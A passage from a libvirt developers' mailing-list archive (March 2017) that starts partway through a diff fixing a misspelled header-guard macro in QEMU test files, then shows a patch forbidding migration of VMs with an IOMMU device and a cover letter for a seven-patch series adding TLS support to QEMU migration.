@@ -24,7 +24,7 @@ #include "internal.h" #include "virthread.h" #include "qemu/qemu_capabilities.h" -#define __QEMU_CAPSRIV_H_ALLOW__ 1 +#define __QEMU_CAPSPRIV_H_ALLOW__ 1 #include "qemu/qemu_capspriv.h" #define VIR_FROM_THIS VIR_FROM_NONE diff --git a/tests/qemucpumock.c b/tests/qemucpumock.c index 2c1d24d..f0a113f 100644 --- a/tests/qemucpumock.c +++ b/tests/qemucpumock.c @@ -18,9 +18,9 @@ #include "internal.h" #include "qemu/qemu_capabilities.h" -#define __QEMU_CAPSRIV_H_ALLOW__ +#define __QEMU_CAPSPRIV_H_ALLOW__ #include "qemu/qemu_capspriv.h" -#undef __QEMU_CAPSRIV_H_ALLOW__ +#undef __QEMU_CAPSPRIV_H_ALLOW__ virCPUDefPtr diff --git a/tests/qemuxml2argvtest.c b/tests/qemuxml2argvtest.c index 64e14af..ec73ac7 100644 --- a/tests/qemuxml2argvtest.c +++ b/tests/qemuxml2argvtest.c @@ -27,9 +27,9 @@ # include "storage/storage_driver.h" # include "virmock.h" -# define __QEMU_CAPSRIV_H_ALLOW__ +# define __QEMU_CAPSPRIV_H_ALLOW__ # include "qemu/qemu_capspriv.h" -# undef __QEMU_CAPSRIV_H_ALLOW__ +# undef __QEMU_CAPSPRIV_H_ALLOW__ # include "testutilsqemu.h" diff --git a/tests/testutilsqemu.c b/tests/testutilsqemu.c index 026b73e..4cc482d 100644 --- a/tests/testutilsqemu.c +++ b/tests/testutilsqemu.c @@ -8,7 +8,7 @@ # include "cpu_conf.h" # include "qemu/qemu_driver.h" # include "qemu/qemu_domain.h" -# define __QEMU_CAPSRIV_H_ALLOW__ +# define __QEMU_CAPSPRIV_H_ALLOW__ # include "qemu/qemu_capspriv.h" # include "virstring.h" -- 2.7.4

1 0

[libvirt] [PATCH] qemu: forbid migration with an IOMMU device
by Ján Tomko 23 Mar '17

23 Mar '17

https://bugzilla.redhat.com/show_bug.cgi?id=1433994 --- src/qemu/qemu_migration.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/src/qemu/qemu_migration.c b/src/qemu/qemu_migration.c index f5711bc..15ed830 100644 --- a/src/qemu/qemu_migration.c +++ b/src/qemu/qemu_migration.c @@ -2359,6 +2359,12 @@ qemuMigrationIsAllowed(virQEMUDriverPtr driver, _("migration with shmem device is not supported")); return false; } + + if (vm->def->iommu) { + virReportError(VIR_ERR_OPERATION_INVALID, "%s", + _("migration with iommu device is not supported")); + return false; + } } return true; -- 2.10.2

2 1

[libvirt] [PATCH v3 0/7] Add TLS support for migration
by John Ferlan 23 Mar '17

23 Mar '17

v2: http://www.redhat.com/archives/libvir-list/2017-February/msg01374.html NB: Parts of the original series were split out, patches posted, ACK'd, and committed separately, see: http://www.redhat.com/archives/libvir-list/2017-March/msg00037.html Changes since v2: First and foremost after some gentle encouragement and lots of hours cursing at no one in particular, I was finally able to configure a couple of nested host guests, create a guest on each, and actually migrate that guest without TLS back and forth between the two nested hosts. Suffice to say there are dribs and drabs of "howto"'s that help, but it is quite a confusing setup and I was certainly left wondering how customers do this. OK beyond paying someone set things up for them! Now that I had the basics, the next task was creating the TLS environment. MANY more curse words uttered, including some I didn't know I knew, but I was actually able to test the changes in my environment. Suffice to say it's "somewhat confusing" because the TLS environment that QEMU expects (ok, the filenames) differ slightly than those that a libvirt TLS environment would expects. What really got frustrating is that all I'd get back is the following error message after 'migrate' started on the client and after the server was essentially waiting for the migration: error: operation failed: migration job: unexpectedly failed Turns out that I was missing the '/etc/pki/qemu/client-cert.pem' and '/etc/pki/qemu/client-key.pem' files, but got no message. Of course I did have something in my /etc/pki/libvirt directory, but of course those weren't being used. Still my brain wasn't exactly telling me that. The other piece I was missing was the "details" about when "tls-hostname" must be provided. In the previous patches, I would search on "fd" or "spec" in spec->dest.host.protocol; however, that wasn't quite right. What I needed to search on was MIGRATION_DEST_CONNECT_HOST or MIGRATION_DEST_FD in spec->destType (and _CONNECT_HOST only because it turns into _FD 'eventually'). Anyway, so happy days are here again and I can now liberally celebrate St Patrick's Day (not that I wasn't going to before, but now moreso!). Beyond the above description from my testing the real "key" behind all of this is ensuring that the 'right' QEMU bits are installed by fetching the "tls-creds" via qemuMonitorGetMigrationParams and as long as *something* is returned, then we are assured that we can proceed. This relates to QEMU commit '4af245dc3' (after v2.9.0-rc0) which sets a default for tls-creds and more importantly for our purposes allows us to "clear" the tls-creds and tls-hostname migration parameters by passing a "" (empty string). With that in place the rest of the logic falls into place with regard to qemuMigrationCheckSetupTLS ensuring that TLS for migration is available for libvirt to use. Once we know we can use TLS, we'll use qemuMigrationAddTLSObjects to add the "secret" and "tls-creds-x509" objects to the domain for either server (target) or client (source). Doing this also required an adjustment to the existing code to allow the Async monitor usage. Once those objects are created, we'll set the "tls-creds" and "tls-hostname" parameters appropriate. If TLS isn't being used, we'll be sure to clear them. This is only made tricky by needing to ensure the qemu that's running can support setting them to "", hence the qemuMigrationCheckTLSCreds prior to that clearing. If this wasn't done, older QEMU would be less than pleased to find "" in tls-creds and tls-hostname. Finally when the migration is successful, call qemuMigrationDeconstructTLS (naming credit goes to my wife!). Failures will call just qemuMigrationResetTLS in order to achieve the same call; however, for those paths we do not still have the original 'tlsAlias' and 'secAlias' available, so we have to recreate it on the fly' Have I won the prize for the longest cover letter yet? John Ferlan (7): qemu: Create #define for TLS configuration setup. conf: Introduce migrate_tls_x509_cert_dir Add new migration flag VIR_MIGRATE_TLS qemu: Add TLS params to _qemuMonitorMigrationParams qemu: Add job for qemuDomain{Add|Del}TLSObjects qemu: Set up the migrate TLS objects for target qemu: Set up the migration TLS objects for source include/libvirt/libvirt-domain.h | 8 + src/qemu/libvirtd_qemu.aug | 5 + src/qemu/qemu.conf | 37 ++++ src/qemu/qemu_conf.c | 45 ++-- src/qemu/qemu_conf.h | 4 + src/qemu/qemu_domain.c | 7 +- src/qemu/qemu_domain.h | 91 ++++---- src/qemu/qemu_driver.c | 4 +- src/qemu/qemu_hotplug.c | 24 ++- src/qemu/qemu_hotplug.h | 2 + src/qemu/qemu_migration.c | 423 ++++++++++++++++++++++++++++++++++++- src/qemu/qemu_migration.h | 9 +- src/qemu/qemu_monitor.c | 11 +- src/qemu/qemu_monitor.h | 3 + src/qemu/qemu_monitor_json.c | 28 +++ src/qemu/test_libvirtd_qemu.aug.in | 3 + tests/qemumonitorjsontest.c | 25 ++- tools/virsh-domain.c | 7 + 18 files changed, 668 insertions(+), 68 deletions(-) -- 2.9.3

2 23